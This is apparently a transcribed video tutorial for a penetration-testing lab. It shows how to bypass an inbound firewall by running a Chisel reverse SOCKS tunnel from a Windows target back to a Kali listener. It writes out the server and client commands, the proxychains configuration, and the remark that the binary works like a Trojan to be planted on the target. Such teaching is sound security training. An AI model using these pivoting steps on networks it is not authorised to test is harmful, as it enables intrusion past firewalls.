We have a problem. The problem is that the firewall blocks all incoming traffic and connections to
the web server. We have a solution. The web server must connect out to you. The reverse tunnel over
HTTP. This is where we get introduced to our first other tool, Chisel. Now this is not native
to Kali. We're going to be walking through the actual install and also putting this on the
actual system itself. I mentioned in the earlier portion of the skill right above that this is
known in the hash tables and can be brought up in VirusTotal. Don't believe me? Well I'm glad
you don't because always trust but verify. In our side system over there you can see where I have
the Chisel.exe file for Windows pulled up in VirusTotal and there's a whole lot of red.
Now the way this works is essentially just like the reverse TCP connection that we have using
Kali and MetaPredator. So kind of the same idea as our dummy.exe file that we've been creating
thus far in our courses and skills together. Since it has the same idea it is not too far off
to think that there are going to be hash table matches for different things like Trojans because
essentially it is a Trojan. But that's okay. It's on us like we've discussed to be able to get this
to the actual targeted system. Now you may be wondering where does this Chisel.exe come from?
Glad you asked. It's in the link right below for the WGIT. So I have this on our Win10 BWAP system
on the desktop. If you are curious to take a look at it even further it's right here. I'm going to
zoom in for you real quick. Right there. Now all that being said we're going to start off
quickly by going into our Kali system. Now I know I have a lot open. This is basically
prep work for me to be able to take you through how to get this installed and configured.
Now you may be thinking that it's very difficult to install Chisel. It's not. It's just like all
the others that we've had to install from third-party inside the Kali repository.
This is sudo apt install chisel. You just hit enter. Type in your sudo password and you're
going to be said usually hit with a prompt. Do you want to install? Yes. Now I have it installed.
Is that all there is to it you may ask? Well no there's a little bit more to it and we're going
to be getting into the configuration and also monitoring here momentarily. But one thing that
I do want to point out is that there's going to be a little bit of configuration that needs to
be done with this involving your proxy chains. This may sound familiar if you're with Tor.
So first things first I want you to go into sudo vim and then your etsy proxychains4.conf
your configuration file and I'm going to zoom in and show you what I'm talking about here.
I'm going to have this code below but you may notice that there is a proxies list in brackets.
Sometimes this gets accidentally deleted by the Tor configuration. If it does I'm just letting you
know it needs to be put back in there. This is all the way at the bottom of the actual file.
So you notice that I have SOCKS4 commented out and I have a new line SOCKS5 127.0.0.1
or 1080. 1080 because that's the default we're using all defaults inside of Chisel. As we go
through this you will see where you can make those changes yourself and vary this up based on
firewall availability inside of your organization your pin testing. But make sure that this is in
there under SOCKS5 because if it's under SOCKS4 you will not be able to get to connect on the
pivot point inside where your Chisel target or client is. I will have the configuration for
this below in the code box as well along with the installation and running of this program.
Now that the really hard part's out of the way we're going to go back to our desktop
and we're going to basically just go in and say sudo chisel server dash p to identify the
port number that we want to run as our listener and in this case 8000 and we're going to say dash
dash reverse because it's going to be from client to us which we're the server right.
So once you hit that and type in your sudo password you'll notice you're listening on
0008000 and that's okay that's just basically saying we have a listener.
Now you open up a second terminal and there's a couple things that we're doing here I need to
exit out of this you just hit escape semicolon and if you made changes wq. If you didn't you
just want to exit without saving semicolon q. Now at this point I do want to do a netstat dash
rep 1080 just to show you that it is tied in as I add sudo to it because I knew that I was just
testing it and it's not running yet because I don't have it oh it's not connected that's why.
Now on our windows system inside of the actual terminal window or command prompt window the
command is a little bit different you're going to so chisel exe client 192.168.0.53 going to
the Kali system over port 8000 the one that we set the port flag on and now you're going to say
what is the connection type in this case socks. Now I know it's socks inside the command prompt
but inside the proxy chains comp file it's socks 5 and when you press enter on this you will see
that you have a connection to 053 8000 and we are connected. Now that being said let's go back over
to Kali real quick and now do a sudo netstat and you can see that we are connected over 127.0.0.1
using chisel. Now this is all good information and this is just the configuration and setup and
getting everything prepped because I wanted to go through and show you the in detail of behind
the scenes of what's happening here because while there are folks that will teach you how to run
this and basically do all of your tasks through this I want to explain to you why this works.